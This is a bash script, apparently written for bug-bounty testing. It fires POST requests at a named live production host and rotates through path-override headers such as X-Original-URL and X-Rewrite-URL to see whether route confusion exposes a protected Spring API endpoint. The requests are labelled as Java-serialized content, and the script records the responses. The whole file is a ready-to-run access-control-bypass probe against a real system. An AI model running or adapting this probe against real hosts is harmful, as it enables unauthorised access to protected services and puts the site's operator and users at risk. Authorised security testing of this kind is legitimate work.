#!/usr/bin/env bash
set -euo pipefail
out=work/scratch/liferay-critical/header-route-confusion.jsonl
: > "$out"
headers=(X-Original-URL X-Rewrite-URL X-Original-URI X-Forwarded-URI X-Forwarded-Path X-Request-URI X-Proxy-URL X-HTTP-Path-Override X-Forwarded-Prefix X-Url)
for hn in "${headers[@]}"; do
  for mode in protected_actual public_actual; do
    if [[ $mode == protected_actual ]]; then
      url='https://infoportal.baloise.de/api/spring/portal'; hv='/CSRFT759.js'
    else
      url='https://infoportal.baloise.de/CSRFT759.js'; hv='/api/spring/portal'
    fi
    hdr=$(mktemp); body=$(mktemp); err=$(mktemp)
    set +e
    curl -sk --http1.1 --max-time 12 -X POST "$url" \
      -H 'X-Bug-Bounty: dwbzn' -H "$hn: $hv" \
      -H 'Content-Type: application/x-java-serialized-object' \
      --data-binary 'BB' -D "$hdr" -o "$body" 2>"$err"
    rc=$?
    set -e
    status=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s+0}' "$hdr")
    loc=$(awk 'tolower($0) ~ /^location:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
    ctype=$(awk 'tolower($0) ~ /^content-type:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
    bytes=$(wc -c < "$body")
    preview=$(head -c 180 "$body" | tr '\r\n' '  ')
    xid=$(grep -Eo 'exchange [0-9a-f-]+' "$err" | tail -1 | awk '{print $2}')
    jq -nc --arg header "$hn" --arg mode "$mode" --arg url "$url" --arg value "$hv" --argjson rc "$rc" --argjson status "$status" --arg location "$loc" --arg ctype "$ctype" --argjson bytes "$bytes" --arg preview "$preview" --arg exchange "$xid" '{header:$header,mode:$mode,url:$url,value:$value,rc:$rc,status:$status,location:$location,content_type:$ctype,bytes:$bytes,preview:$preview,exchange:$exchange}' >> "$out"
    rm -f "$hdr" "$body" "$err"
  done
done
jq -r '[.status,.bytes,.mode,.header,.value,.location,.content_type,.exchange] | @tsv' "$out"
